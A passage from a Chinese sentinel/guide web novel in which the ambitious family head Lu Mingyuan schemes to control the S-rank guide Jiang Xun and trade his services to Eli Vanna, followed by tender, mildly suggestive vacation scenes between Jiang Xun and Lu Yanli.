他猛然回想起陆厌离曾对他说过的话：在寂静星上的时候，他曾经单方面让这个叫做江寻的向导绑定了他！ 众所周知，精神图景、精神体、精神核心，这几样东西便是哨兵能力最核心的体现，若要从本质上影响一个哨兵的能力等级，那就必然绕不开与这些核心的接触。 而精神绑定的操作，恰恰就是需要最深层的接触！江寻必然已经进入过陆厌离的精神图景，接触过他的精神体，并且完全侵染了他的精神核心！ 莫非，陆厌离能力提升的关键，就在于江寻在这个过程中，对他使用了自己尚未研究成功的新技能？ 这是极有可能的！陆明远记得很清楚，当时的情报显示，两人是遭遇了老二派出的袭击者，在危急情况下，这才进行了精神的深入接触。那么，这个江寻很可能是为了保住自己的性命，在当时对身边唯一的高级战力——陆厌离，使用了他还没研究完善的新技能！ 所以，陆厌离才能一举爆发，在那样的困境下击败那些袭击者，回到联盟。所以，他才会因为那个未完善的技能，没有完成彻底的等级跨越！ 陆明远心中越想越清晰。原来如此，这个江寻根本就不是什么初出茅庐的小向导。他原本就是S级向导，他是有目的性地专程去的寂静星。他知道以自己的能力，可以将陆厌离救回来，这才蓄意制造了两人的相遇，想以救命之恩，朝夕相处的情谊，让老三对他死心塌地。 最后的结果也的确如他所愿，老三这个蠢货竟然真的相信了他那套漏洞百出的说辞，相信他这样一个S级向导，会莫名出现在寂静星上，还对这个江寻情根深种，甚至让对方单方面绑定了自己！ 不过，若是这个江寻一直在处心积虑地隐瞒身份，利用老三，那最后在他身上动用那个未完成的技能，也许是意外？还是他觉得已经绑定了老三，高枕无忧了，所以在他身上实验？又或者是想要向陆家展示这个技能的效果，为他进入陆家铺路？ 具体的原因陆明远不得而知，但他不得不承认，对方的目的确实达到了。此刻看清江寻身上真正的价值，对方在他心中的分量，已经超过了陆厌离，他也确实十分乐意接纳对方进入陆家。 陆明远心中一动：“这个江寻，除了治疗过老三之外，也治疗过别人吧？” “是的，家主大人。他在圣所就读期间，曾经执行过多次医疗支援任务。我们还查到，他还在黑街暗巷中，经营过一家无证诊所，为那些见不得光的哨兵提供治疗。”中年人闻言立刻回答道，并迅速调出查到的医疗记录，呈现给陆明远看。 陆明远几眼快速浏览过江寻经手过的其他哨兵病例。这些医疗记录上显示，那些哨兵在接受了江寻的治疗后，效果显著，大部分人的堕化值都有明显的下降。 却也提到，这些病例里，没有一个人的堕化值被完全清除，也没有一个人，在治疗后出现能力异常提升的状况。 陆明远眉头一挑，即便是对江寻来说能够轻而易举疏导的D级哨兵，身上的堕化值也没有完全清除。那就意味着，除了陆厌离之外，他从未深入接触过其他人的精神世界，进入过别人的精神图景？ 果然如此，只有被他深入接触到精神核心，绑定过的陆厌离，才出现了能力的突破性异常增长。 是故意为之？在没找到足够强大的势力当靠山之前，不想暴露自己的能力？ 他还在暗巷里开过无照诊所……是为了用那些哨兵，研究自己的新技能？ 陆明远了然一笑，自觉对这个江寻的了解更深了。 “这个人，除了老三以外，身边还有其他关系亲密的哨兵吗？他们的能力在接受他的疏导之后，有什么变化？”陆明远想了想，还想再确认一下，继续追问道。 “这个……”中年人仔细回忆一下，却摇了摇头，“家主大人，据我们的调查，他来到中央星之后，身边并没有其他固定哨兵。唯一有一位曾经被默许跟在他身边一段时间，但后来似乎是没有得到他的疏导，之后二人便形同陌路了。” “嗯？一个都没有？”陆明远一皱眉，他一个顶级向导，必定会受到众多哨兵的追捧，身边竟然连一个情人也没有？是对陆家的表态？还是说，他还真的和老三假戏真做，爱上他了？ “那来到中央星之前呢？” “之前……”中年人额上沁出冷汗，“之前，他一直身处边缘星域，那里的情况过于混乱，调查人员实在搜集不到更多切实信息了。” 陆明远有些不悦，但转念一想，又压下了火气。算了，情报到这里，已经能表明很多信息了。 结论几乎呼之欲出：江寻的那种正在研究中的独特能力，并不是通过普通的疏导或净化发挥出来的。它需要极其深入，毫无保留的精神接触。它应该最少要接触到精神图景内部，或者精神体，乃至精神核心本身，才能发挥作用。 更甚者，若是必须要侵染精神核心才能发挥作用…… 陆明远的指尖忍不住急促地叩上扶手。 若是必须要侵染，那么，受他这种特殊能力吸引而来的哨兵数量，必然会大幅减少。可也一定仍有许多人会为了提升实力铤而走险！这个江寻就可以利用这一点，像对待他儿子一样，单方面的绑定无数哨兵。而这些哨兵，会因为从此只能接受他的疏导，成为他手下最忠诚的战士！ 这个江寻，实在布了一盘大棋啊！ 所以，他才选择了陆家这个盟友？既不会像凡纳家那样权势滔天，足以完全控制住他。又不会势力太低，无法成为他的臂助？ 真是好一盘算计。 但是，既然如今自己已经提前看穿了他的计划，那未来如何，可就由不得他想象了。 陆明远觉得自己已经摸清了这个江寻的底细与目的，脊背彻底放松下来，嘴角勾起一抹志得意满的笑意。不得不说，让一个整个联盟都趋之若鹜的S级向导，处心积虑地讨好自己这样一个普通人，确实让他心中涌起了十足的成就感。 他从前实在不懂那些高阶向导为何会让那一个个位高权重的高级哨兵如此追捧，如今发现这样一个被人追捧的顶级向导，竟为了获得陆家的助力，长久布局，费尽心力，即便他已经成为陆家家主这么长时间了，仍然感到了一种前所未有的畅快感。 不过，这样一个野心家，也确实配得上做他的盟友。如果对方真的能发挥出他所表现出来的这番能力，他倒不介意帮助他登上高位。 但毋庸置疑，站在顶点的那一个，必须是他自己。 那么既然如此，对方必定不会愿意与老三完成彻底的相互绑定。 与哨兵一样，向导的精神核心若是被某个哨兵侵染，那么，他的精神力就会与这名哨兵发生高度同调，从此与其联系更加紧密。 但是，与此同时，他的精神力也会因为染上哨兵的特质，从此对其他哨兵的精神图景产生天然的排斥。到时候，向导虽然仍能履行一定程度上的疏导治疗，却永远也无法深入其他哨兵的精神图景内部，去发挥他的技能，提升他人的根本精神力水平。 这也就意味着，他走这条路线研发出的这个最珍贵，最具有战略价值的“武器”，从此只能对陆厌离一个人使用。 这样的结果，不论是对江寻自己，对陆家、还是对联盟来说，都将是一种无法估量的损失。 只有终身自由的的S级“寻道者”，才是价值无限的。只有一个可以随意使用，提升其他哨兵能力的“资源”，才是陆家踏上顶峰的阶梯！ 必须确保这个向导不会被任何人绑定！ 陆明远的眉峰压了下来，堂皇大气的面容变得阴沉。先前的犹豫与权衡，被彻底的冷酷决绝所取代。 他相信像江寻这样处心积虑已久的野心家，应该不会同意与陆厌离彻底绑定。但是，这个人虽然思虑深远，但毕竟年纪还轻。看起来也真的在相处中，与老三产生了感情。来中央星后也没有找其他的情人，没尝过其他哨兵的滋味。这种情况下，他说不定真的会在陆厌离的追求下软化，和他彻底绑定。 更何况，一个向导，即使他是一个S级向导，在一个S级哨兵面前，也无法完全保证自身的安全。如果陆厌离有一天狠下心来，也许会动用武力，强行侵染对方的精神核心。 他不能冒险把这个前所未有的珍贵“资源”，一直放在陆厌离身边。他必须要把江寻这个人，牢牢掌握在自己手中！ 陆明远的指尖在光洁的桌面上缓慢划过，在上面勾勒出一个无形的牢笼。 用什么能将这个人彻底掌控在自己手里呢？ 陆明远嘴角勾起一抹志在必得的笑意，答案，或许并不难。 有所求的人最好控制，他求什么，就把什么挂在鱼钩上，摆在他面前就是了。 他不是一直缠在陆厌离身边吗？不管是想要陆厌离这个人，还是想要通过他进入陆家，一步登天，自己都可以满足他。 只要自己把钓饵一直牢牢控制在手里，就能让这个人乖乖为自己所用。只要让对方与陆家的利益深深捆绑在一起，还怕他脱离掌控？ 而现在，他手里最好的鱼饵，就是陆厌离。 在他看来，要控制住陆厌离，简直易如反掌。 这个儿子，是被他亲手从小打磨出来的。从他儿时觉醒能力时发生的那场意外开始，便被牢牢地拴上了陆家的缰绳，早就被他彻底驯服。 从小到大，不论是让他提前进入军部，还是让他去执行任何的危险任务，只要是自己的吩咐，陆厌离都会拼尽全力去完成。哪怕是让他参加愈灵殿的休眠计划，彻底失去正常生活。甚至是让他自我放逐，他都从未反抗过。 他早就习惯了听从指挥——为了“弥补”他的过错，为了让他那个疯癫的母亲能记入陆家族谱，他会乖乖去做任何事。这样一个人，怎么会轻易脱离家族，脱离自己的掌控呢？ 之前的忤逆，是他第一次违逆自己的命令。 陆明远也能理解。一个陷入绝境的人，骤然被他人所解救，自然会对救他的人产生执念。而自己当时又强压着他去联姻，让初次接触情爱的年轻人，被短暂的情热冲昏了头脑，从情绪上产生了反弹。 但现在，情况可不同了。 他不仅不会再反对两人交往，还会主动促成这件事，让这两个人尽快成婚。 他满足了陆厌离的愿望，陆厌离自然没有理由继续游离在家族之外，必然会乖乖回归家族，继续履行他对家族的义务。 至于江寻，他相信对方也不会拒绝。 不管他有什么要求，一场足够盛大的婚礼，记入族谱，获得一个正式的陆家身份，或者他的胃口再大一些，要钱要势，他都可以满足。 他只有一个要求：他们两人不能完全绑定。江寻在成婚之后，要利用自己的能力，为家族指定给他的一些高阶哨兵，提供“必要的帮助”。 他相信江寻会接受这个条件的。 这对江寻来说，毫无坏处。 如果他想要情人。他能马上得到陆厌离——这个在联盟中备受追捧的S级哨兵“双子星”。 如果他想要权势，他可以在一夕之间直接进入联盟顶级家族，获得他以前想都不敢想的权势地位。 若是他表现得足够好，对陆家也足够忠诚，自己还可以把他推上更高的位置，甚至可以主动帮他网罗更多的优秀哨兵，送上他的床榻。 获得如此宽松自由的婚姻条件，还不必受到私生活的制约，可以尽情的利用自己的能力，享受到更多优秀哨兵的追逐与侍奉。 他没有理由不同意。 只是会稍微委屈老三了，陆明远脸上闪过一丝凉薄。 不过，这都是为了家族更长远的利益，他相信，老三能理解的。更何况，他的身份在那里，就算江寻以后身边会有多少情人，陆家都不会允许他们的婚姻出现问题，他永远都是江寻的合法丈夫，这一点，绝不会动摇。 想到这里，陆明远心中已然有了决断。 听说现在他们正在老三名下的度假星上度假。等他们回来，他要把这两个人叫回来，好好谈一谈。 同时，想到之前伊莱提出的合作，陆明远心中一动。 他想，他现在知道对方为何那般急切了。 伊莱必然也已经知道了江寻身上真正的价值，想要在他被其他人发现之前，用一点微不足道的利益，提前把他收入囊中！ 伊莱和自己的处境可大不相同。凡纳家固然比陆家显赫许多，可伊莱如今终究只是个继承人。 虽然他身为家族嫡长子，自身实力也冠绝家族，可他那位父亲如今还年富力强，本身也是风流韵事不断，在外面有着数不清的情人与子嗣。 离他正式接手凡纳家不知还要多久，这中间不知会出现多少意外，他的继承人之位，可远没有到铁板钉钉的程度。 更何况，还有传闻说，老凡纳现在都已经开始忌惮自己这个行事作风越来越张扬强硬的长子了，伊莱的处境，绝非表面上的那般稳固。 正因如此，他才会在发现江寻的真实价值之后，忙不迭地想要将他抢先控制在自己手中，用这独一无二的筹码，彻底巩固住自己的地位吧？ 陆明远心中冷笑，他倒是打得好算盘。 可惜还是棋差一着，让自己提前知道了这一切。 如今他自然不可能将江寻拱手相让，但伊莱的提议，也不是完全无用…… 一个念头在陆明远心中逐渐成型。 他不会把人彻底交给伊莱，但如果对方愿意付出足够的代价，比如他之前许诺过的那些政治资源与利益。那么，把江寻“借用”给他一段时间，为他提供一下“帮助”，也未尝不可。 按照他的推测，江寻的能力发挥需要精神的深度接触。只要不是必须绑定，几次身体结合……他相信，对于渴望力量，急于稳固自己地位的伊莱来说，这种程度的付出，根本不算什么。 用精神层面的深入接触，与一点点利益，来换取实力等级的提升，伊莱只会求之不得。 而自己，不仅能借此从伊莱那里交换到足够多的好处，还能借着伊莱，让江寻体验到其他高级哨兵的滋味，给他机会与凡纳家大少爷扯上关系。这样一来，想必他就不会动念去与老三彻底绑定，也会明白加入陆家能获得的好处了。 陆明远微微颔首，觉得这个思路可行。 用江寻的一次“服务”作为筹码，去换取切实的利益，即使最后达成的具体条款，不如之前伊莱所提出的那么多，对于他来说，也是一笔十分合算的买卖。 他沉吟片刻，挥手斥退身后一直躬身等待的手下。 “这一次的任务，完成得不错，下去领赏吧。” 而后，打开终端，向伊莱那方拨通了通讯。 那俯首躬身的中年人，稍稍抬眼，悄无声息地瞟了一眼陆明远拨出的通讯姓名，默不作声地退出了房间。 “何主管！” “何主管好！” 中年人一走出那扇沉重的实木房门，便挺直了脊背，一路看到他的仆从佣人们，纷纷恭敬地避让到一侧，躬身行礼。 何主管一眼也没有分给这些人，严肃着面容一路向外走去。直到离开了陆府老宅，坐上自己的悬浮车，才打开自己的终端，通过一个加密频道，拨通一个号码： “少爷，我回来了。”即使只是拨通的语音通讯，中年人依然下意识地躬身肃首。 【情报已经交给他了？】 “是的，都按您吩咐的那样汇报给老爷了。” 【他怎么说？】 “老爷又问了我，关于那位江寻向导的交友情况。最后，向凡纳家的那位伊莱少爷拨去了通讯。看样子，应该是想要和对方谈一谈上次提到的合作事宜了。” 【不错，你做得很好。最近继续监视着他手下的动作，有任何针对陆厌离或者江寻的情况，及时汇报给我。】 “是，少爷！” 通讯被果断切断，悬浮车一阵轻微的嗡鸣，无声无息地汇入了车流之中。 第223章 对于背后的一切毫不知情的陆明远， 很快拨通了通讯。 终端上方，全息影像一闪，伊莱·凡纳的身影出现在陆明远面前。 即使身处自家阳光明媚的客厅， 身下就是蓬松柔软的沙发，高大的男人依旧穿着一身随时都能出席正式宴会的正装，神情从容，肩背笔挺。这不是故作姿态， 而是早已深深镌刻进他骨子里的世家风度。 看到通讯这端陆明远的面容， 他的脸上露出一个恰到好处的微笑， 眼中浮现出一抹了然。 “早上好，陆伯父， ”伊莱轻轻放下手中还冒着热气的咖啡杯，“此番联络……您考虑好了吗？” “凡纳少爷，”陆明远看向伊莱， “关于您上次的提议， 请恕我无法答应。您想必也已经清楚了，江寻向导的珍贵之处。更何况，他即将成为我陆家的儿媳， 我不可能将他完全交给您。”他刻意停顿一下， 观察着伊莱的表情， 察觉到对方眼神中的细微波动， 心中一声轻嗤， 伊莱果然对江寻的能力心知肚明。 “那您这次联络的意思是？”伊莱的笑容未露一丝痕迹。 “虽然我不能把人完全交给你， 但我想， 我们也许可以换一个交易方式。”陆明远自信说道。 “哦？”伊莱面上的笑容淡了下来，“愿闻其详。” “我已经同意他们两人在一起了，等这次的假期结束， 我就会尽快为他们举行婚礼，向联盟公布这个喜讯。”陆明远缓缓说道，“婚后，我可以安排江寻为您提供一次‘疏导服务’，直到您的能力等级提升为止，用来交换您之前承诺给予陆家的支持。” 伊莱的面色彻底沉凝了下来，目光锐利地看向陆明远：“陆家主，一次疏导，就想换取我凡纳家三年的资源倾斜与政治支持？那可是最少几百亿的利润，您的胃口未免也太大了。” “凡纳少爷说笑了，”陆明远自信地笑了笑，“凡纳家的获利和您自身实力地位的提升，哪个更值得一些，您心里应该很清楚，不是吗？当然，如果您实在觉得不满意，这个价码，我们还可以再谈嘛。” 伊莱沉默片刻，面无表情地凝视着陆明远，似乎在权衡什么，而陆明远也神色不变地与他对视着。 半晌，伊莱目光一定，像是做出了决定：“这个交易，我可以同意。但是，我有两个条件。” 陆明远露出笑容，了然点了点头：“请说。” “第一，这个交易，在整个凡纳家范围内，您只能和我一人达成。您也不必觉得吃亏，之后，我手下还有不少人都需要‘疏导’，到时候我会给您一个满意的价码。” “没问题。”这一条，陆明远答应得爽快。 “第二，我们的交易时间必须在他们正式结婚之前，越快越好。”伊莱的语气带着不容置疑的坚决，“我要您尽快把江寻送到我手里，为我完成这次‘疏导’。” 陆明远的眼神瞬间冷了下来，带着审视眯起眼睛，盯住伊莱：“凡纳少爷，这是为什么呢？不知道您是否知道，江寻的这种能力，需要精神上的‘深入接触’，一旦他与人绑定，这种能力就无法再对其他人使用了。他也就失去了自己最大的价值。”陆明远的话语里带着警告，“您应该明白，这是多么珍贵的一笔财富，我不会允许任何人因为一己私利，毁掉这个宝贵的资源。” 伊莱迎着陆明远警告的眼神，忽然露出一个和煦的微笑：“陆伯父，您多虑了。我怎么会去绑定他呢？我比任何人都更不希望他失去价值。” 他的身体微微前倾，注视着陆明远的目光中，第一次流露出了清晰的傲慢：“只是，我伊莱·凡纳，从不会碰有主的人，我不可能给自己留下这种不必要的把柄。要和我达成交易，那必须在他们两个人正式结婚之前，这一点，没得商量。” “而且，这也是为了保障我们双方的交易能顺利达成。”伊莱的语气缓和了一些，“您应该也知道，他们两人可不像我们这般理智，万一他们在婚礼当晚一时冲动，彻底绑定了呢？” 陆明远沉默下来，暗自思忖着。 他刚才决定送江寻去为伊莱“疏导”的时候，确实没有考虑过这方面的问题。这种事情，从未纳入过他的考量范围里。不过伊莱的理由听起来也合理，这也从另一方面佐证了伊莱在家族里，地位并不那么稳固的现状。那么，在这样的情势下，对方应该比自己更需要维持与陆家的合作关系，这反而令他更加放心了一些。 不过，让他就此让步也是不可能的…… “你说得也有道理。”陆明远看着伊莱，缓缓点头，“不过这样的话，交换条件就没得商量了。把人提前交到你手上，我也需要有一重保障。” “可以。”伊莱这一次答应得痛快。 “爽快。”陆明远脸上冷意尽去，浮起笑容来，“那么，就按照你说的，等我家老三结束假期回到军部，我会想办法将他调离中央星一段时间，为你创造机会。” “很好。”伊莱的嘴角满意地勾了起来，“那，合作愉快，陆伯父。” 全息影像在面前消失的那一刹，伊莱脸上的笑容瞬间褪去。 他的眉眼低垂下来，不紧不慢地提起面前滚烫的咖啡壶，为自己续上一杯香浓咖啡，嘴角扯出一丝嘲讽的笑意。 这个陆明远，还是那么小家子气，看见什么都想抓在自己手里，什么都舍不得放手。 他可从不会如此。 好东西，只有属于他的，才是珍贵的，不容损伤的。 若不能为自己所用，即便是稀世珍宝，毁掉又算得了什么呢？ 中央星上，一场足以改变整个联盟局势的风暴正在酝酿。而身处漩涡中心的两人，此时却对这番变化，一无所知。 * 陆厌离在一片昏暗的光线下朦胧醒来，房间里一片漆黑，只有头顶的天窗洒下的月光，为屋中的一切勾勒出一线月白轮廓。 “嗯？”他的思绪有些混乱，在他的记忆里，上一刻好像还在果园里和江寻一起采摘水果，怎么一转眼就躺在了床上，连天都黑了…… 怔愣之间，记忆慢慢复苏，模模糊糊的片段从他脑海中一一闪过，陆厌离一双尚带着些迷蒙的眼眸，随着记忆的闪回瞬间清醒过来，瞳孔越睁越大，全身的血液仿佛都涌上了头顶，脸庞轰地燃烧起来。 我……我都做了些什么？！ 陆厌离惊得原地弹起，刚一动弹，身上的异样就让他猛地倒吸一口凉气，又倒了回去。 从腰部往下，一片酸软无力，仿佛不再属于自己，特别是最难以启齿的地方，到现在仍传来阵阵明显的异物感。 越来越多的记忆串联成线，一幅幅画面从眼前闪过，特别是自己那异常主动与缠人的姿态。陆厌离痛苦地死死捂住脸，下意识地往被子里缩下去，把脸完全埋进枕头里，不愿面对这一切。 偏偏在此时，头顶传来一声轻笑。 陆厌离浑身一僵，他此时最不想面对的那个人，被他的动作惊醒了！ 江寻好笑地看着臂弯里脊背蜷缩，死命把自己的脸藏起来，只露出一双通红耳朵的人，一勾手，便轻松将人揽进了怀里。 “清醒了？”轻轻拨弄一下对方重新变得干燥蓬松的银灰发丝，扣住那人的肩膀一用力，就想把人翻过来。 人是翻过来了，可对方紧抱着的枕头却没松开，仍被他死死按在自己脸上，横亘在两人之间。 江寻几乎要笑出声来：“看来某人没有酒后失忆啊？今天中午一直热情地拉着我疯的人是谁啊？” 陆厌离痛苦地在枕头后面低叫一声，声音隔着枕头，被闷得模糊不清。 看着他这副羞窘到了极点的模样，始作俑者却笑嘻嘻地在他面前撑起手肘，一句一句开始细数嫌疑人的罪状：“是谁说的，我给的什么他都喜欢，喜欢我给他戴铃铛，喜欢我给他留下印记，还喜欢我的向导素，喜欢和我睡……” “你别说了！”江寻还没说完，就被猛然扑上来的人紧紧捂住了嘴巴。 一声低笑被闷在手心下，江寻笑意吟吟地看向满脸通红地按住自己的人，心尖发软。脸上收起调侃的神色，手臂环上自投罗网的人。 陆厌离的皮肤上似乎还残留着那种火热的触感，只是肩头皮肤的摩擦就令他控制不住地颤抖了一下。 轻轻挣扎了一下，没挣动，便也不再动作，把头埋进江寻的颈窝里，不让他看见自己的表情。 江寻用下巴蹭了蹭怀中人的脸颊，一下一下轻抚他的脊背，声音轻缓却又认真：“厌离，我今天好开心。” 怀中的身体微微一顿。 “之前我们之间的情事，多是由我主动。我还总是勉强你，我一直觉得，也许你是因为爱我才勉强自己承受这样的负担……”江寻的手指轻轻梳理着他的发丝，“今天我才知道，原来你也是真的喜欢……我真的很高兴。” 感觉到怀里的人动了动，江寻继续说道：“还有你今天醉了以后说出的那些喜欢……知道你真实的心意，我好开心。” “我喜欢你这样毫无保留地把一切都告诉我。”江寻轻轻托起陆厌离的脸，“不管是喜欢，还是讨厌，快乐，还是痛苦，任何一种想法，我都想听你告诉我。” 陆厌离看着面前人认真的眉眼，沉默了一会儿，眼神闪躲开来，有些迟疑地开口，声音低低的：“你不觉得……我这样很奇怪吗？” “我是联盟军人……而且已经从军很久很久了……年纪也比你大，本该更稳重一些才对。而且……我的很多想法，都有些……难以启齿。你不会觉得我……不知羞耻吗？”陆厌离的音量越来越低，双手不自觉地攥紧江寻的衣襟。 江寻托住他的面庞转向自己，让他与自己直视，看清自己不含一分戏谑与轻视的目光。 “怎么会呢？”他的拇指轻轻抚过陆厌离微烫的脸颊，“没有人天生就应该是什么样子的，也不是到了某个年纪就一定要成为某种模样。” “在军部的时候，你是联盟的英雄，下属眼中稳重的上司，朋友眼中可靠的战士。在家里，你是我顽皮可爱的小猫，我依赖的家人，我亲密的爱人。这些身份，并不冲突。”他顿了顿，语气里是满满的自豪与荣幸，“特别是，这个世界上，只有我能看到你的这一面，我只会因此感到幸福，又怎么会看轻你？就像下午那样，听你亲口说出喜欢，我不知有多开心。” 他的目光如水，温柔地凝视着陆厌离的眼睛，字字清晰：“你可以在我面前做任何事，展现出任何一种模样，只要你觉得自在，只要你想。这不就是家人、爱人，存在的意义吗？” 江寻低下头去，珍惜地在陆厌离额间印下一吻：“以后，也像今天这样，把心里这些真实的感受全都告诉我，好不好？我会非常，非常的开心。” 陆厌离眼神一颤，望着江寻眼中毫无杂质的温柔与鼓励，心底那点难以启齿的羞愧，忽地就如烟般散尽了。 他的脸颊依旧绯红一片，却在江寻的目光下，慢慢点了点头，低低轻应一声：“……好。” 江寻面上倏然绽开一个灿烂的笑容，长长舒出一口气，将陆厌离重新搂进怀里，“今天闹了一下午，你现在感觉怎么样？” 陆厌离下意识地就想说“没事”，刚刚张开口，就看到江寻眉梢一挑，想起自己刚刚说出口的承诺，犹豫一下，终于小声说道：“嗯，腰……有点酸。腿根也……有点疼。” 江寻嘴角弯起，继续笑眯眯地问：“那你现在想要我帮你做些什么吗？” 陆厌离的耳根阵阵发烫，一低头，又把脸埋进了江寻的颈窝里，温热的吐息拂过耳畔，却传来一个清晰的声音：“……想让你帮我揉一揉。” 江寻面上终于露出一个满意的笑容，手臂收紧，在他发顶上落下一个奖励般的轻吻：“真乖，就是这样。” 他温热的手掌轻轻覆上陆厌离腰际，不轻不重地为他按压揉捏起来。劳损的肌肉一被触碰，先是引得陆厌离轻嘶一声，随即，江寻滚烫的掌心就令他从骨头缝里感到一阵舒畅。紧绷的肌肉在这样恰到好处的力道下渐渐松弛下来，陆厌离口中不由溢出一声舒服的低吟。 “以后都要像这样，怎么想的，就怎么告诉我，知道了吗？”江寻勤勤恳恳地为陆厌离按摩着，口中还不忘叮嘱。 陆厌离轻轻环上江寻的脖颈，嘴角偷偷勾起一丝笑意，轻轻哼出一声：“……嗯。” * 快乐的时光，总是过得飞快。 在荧珠星的日子里，江寻与陆厌离两人，渐渐像是回到了最初在寂静星时的模样。 只不同的是，当初陪伴在江寻身边的那只猫猫，如今变成了他的亲密爱人。 在这无人的环境中，陆厌离仿佛真的渐渐淡忘了心中那个严肃认真的联盟少将，在江寻面前，越来越放松。像是被江寻重新养育了一遍，面上的表情越来越丰富。 同时，也变得更加粘着江寻，对他的要求越来越多。 江寻将陆厌离的这番变化看在眼里，照单全收。每天都漾着灿烂的笑容，把他照顾得好好的。当然，该收的“报酬”也一点没少。 几乎是一晃眼间，七日的度假时光就来到了最后一天。 厨房里传来“咄咄咄”的切菜声，江寻将手上清洗干净的海芹菜切段装盘，又拿起旁边放置的海带处理起来。 身前传来一个声音。 “江寻~”陆厌离抱着江寻的腰，皱着眉嫌弃地看了一眼面前的菜板上深褐色的蔬菜，抗议起来，“今天都是最后一天了，我们不吃这些了好不好？” 江寻头也没抬，手起刀落继续着切菜的动作：“所以今天我们得把它吃完。我第一天就只采了一把菜，结果到现在都没吃完，你不能只吃鱼和肉。” “就是因为是最后一天了，”陆厌离据理力争，仰着下巴搁上江寻的颈间，讨好地蹭了蹭，“你之前不是也说要我把抓来的鱼都吃光吗？现在还有好几条呢，再不吃就要浪费了。” 江寻闻言轻笑一声，丝毫不受陆厌离的诱惑：“不会浪费的，吃不完的，待会儿就把它们放回海里去。”他轻描淡写就决定了那些鱼儿的命运。 陆厌离不可思议地睁大眼睛，看着江寻不为所动的侧脸，故意轻哼一声。 想了一想，没说话，却一矮身，从江寻怀里钻了出去，啪嗒啪嗒地走开了。 江寻斜眼瞥了一眼他的背影，笑着摇了摇头，随他去，继续低下头专注着手中的活计。 结果，还没过几分钟，身后又有脚步声响起，江寻回头看去，却见陆厌离又走了回来。 不同的是，此时的他，手上正拎着那最后几条已经不再动弹的鱼。看到江寻的视线投向自己手里，带着几分狡黠将手臂高高举到江寻面前。 “现在它们死了，”他的语气无辜，带着十足十的理直气壮，“今天不吃就真的浪费了。” 江寻无语地看了看陆厌离这副理所当然的模样，又看了看那几条还湿漉漉的鲜鱼，终于被他气笑了。 这是什么？解决不了问题，就把问题本身解决了是吧？ 他终于放下了手中的菜刀，叹了一口气，将案台上的海带拨到一边，从陆厌离手中接过那几条死不瞑目的小鱼，“你啊……” 嘴里说着抱怨的话，面上的表情却分明温柔宠溺。 陆厌离将一切看在眼里，得逞地偷笑一声，又亦步亦趋地跟着江寻走到了水槽边，趁着江寻开始刮鳞去内脏，又是一矮身钻进他怀里，两只手臂往他腰上一圈，还不忘在他背后的衣服上，把刚才抓鱼弄湿的手擦干。 脸颊贴着他的胸膛，完全不在意偶尔溅起的水花会不会弄脏他的衣服，像没骨头一样，将全身的重量都倒向江寻，甚至无聊地拉起他系在身后的围裙带子，绕在手上玩了起来。理所当然地把所有的活都交给江寻来干，自己一派无所事事的模样。 江寻这几天早已熟悉了陆厌离动不动就抱上来的习惯，就这样腰间挂着个大型挂件，缓慢地挪动着，有条不紊地将手中的鱼一条条处理好。 他将处理好的鱼肉分成了几部分：腹部最肥厚细腻的部位切出来，做了陆厌离最爱的生鱼片；鱼身切薄片，腌制过后再裹上生粉，炸出一盘金黄酥脆的鱼片给陆厌离做零食；剩下的鱼肉取一部分剁茸，加入后来他们在林子里找到的鸟蛋，搓成一碗鱼丸；最后一部分混上鱼骨，和海芹菜一起炖成鱼汤。 最后，他还是没放弃剩下的最后一点海芹菜、海藻和海带，把它们简单凉拌了一下，当做清口素菜。总算是将这几天积攒下来的食材彻底清空。 饭菜出锅，飘出一股清淡的香味，引得陆厌离眼馋地皱起鼻子使劲闻了几下。趁着江寻端菜上桌的工夫，先偷吃了几片炸鱼片。 “咯吱咯吱”的声音丝毫不加掩饰，江寻好笑地点了点他的额头，端着剩下的菜肴一起上了桌。 两人这才在餐桌前坐下，一边吃一边聊起来。 “明天一早就回去吗？”陆厌离的筷子有些失落地在碗里戳弄着，满面不舍。 这几天与江寻在这与世隔绝的地方休假，令他几乎完全忘了外界的纷纷扰扰。此时一想到明天就要回去了，心中顿时涌起留恋。 江寻往他的吃碟里夹了一筷子凉拌海芹菜，看着他鼓着腮帮子不情不愿地乖乖吃下去，这才温声道：“我们已经休了很长时间的假了。尼克斯都给我发信息催我回去了。威尔逊将军也给你打过通讯了吧？” 看着陆厌离泄气的模样，又继续说道：“没关系啊，反正这个度假星都是你的不是吗？喜欢的话，下次假期我们再过来玩。” 陆厌离当然也知道两人都该回去工作了，刚才只是小小抱怨一下。这会儿得了江寻的安慰，对上他带着笑意的目光，心中的那点儿怨气瞬间被驱散。 用力点了点头，嘴角也重新弯了起来：“那我们说好了！”—— 作者有话说：回家倒计时[托腮] 下一章保佑我顺利过审[化了] 第224章 晚餐过后， 陆厌离站在树屋外高高的平台上，遥望着远处滚滚海浪拍打着峭壁的壮阔景象，目光掠过林木间闪烁荧光的片片地衣， 又落在高大树干上垂落下来的害羞藤蔓上，脸上写满了不舍。 江寻收拾好餐具，一边擦着手，一边走到他身边， 轻轻拍了拍他的肩膀。想了想， 提议道：“还有一些时间， 我们再去外面逛一逛？” “可以吗？”陆厌离眼睛一亮。 “当然。”江寻微笑，“你想去哪里？” “嗯……”陆厌离有点不好意思， 他发现自己在江寻面前，总是格外幼稚。自己以前去过的地方不知凡几，比这里漂亮、比这里峻伟的多得是， 也不知为什么， 现在却对这个并没有多么特殊的度假星格外不舍。明明在和江寻来之前，他都几乎不记得这里的。 “要不，我们再去一次果园吧？还有好多水果都成熟了， 留在这里也是浪费。我们可以带一些回家去？” 没等江寻回应， 他又急忙补充道：“这次我不进去了， 就在外面等你。” 江寻了然一笑， 点头应允下来， 取了折叠腰包， 由着陆厌离兴冲冲地牵着自己往穹顶另一头的种植区走去。 路上照旧穿过那片遍布虹彩地衣的林地。 在这里休假的几天里， 两人经常相携着来这里游玩，已经看惯了这满地的荧光虹彩。他们第一次路过这里时，满地苔藓还是晶莹的天蓝色， 当时还以为这些苔藓本就是这个样子。 谁知后面再来时，居然发现这些地衣散发的颜色，会随着温度与湿度而变化。 就像此时，晚霞漫天，而地面上，也像是为了应和那漫天彩霞一般，化为一片浪漫的粉紫色。 陆厌离踩在上面，试了试那柔软而富有弹性的触感，回头对着江寻粲然一笑，一跃而起奔跑起来。 在只有中央星一半的重力加持下，陆厌离的每一次迈步都像在虹彩上起舞，每一次跳跃都近乎低空飞翔。轻盈的身姿配上他带笑的面容，蓬松闪耀的发丝，让他看起来年轻了许多，直如一个十几岁的少年。一步奔跑，一路留下一串轻快的笑声。 江寻被他的情绪感染，同样迈开步子，追逐了上去。 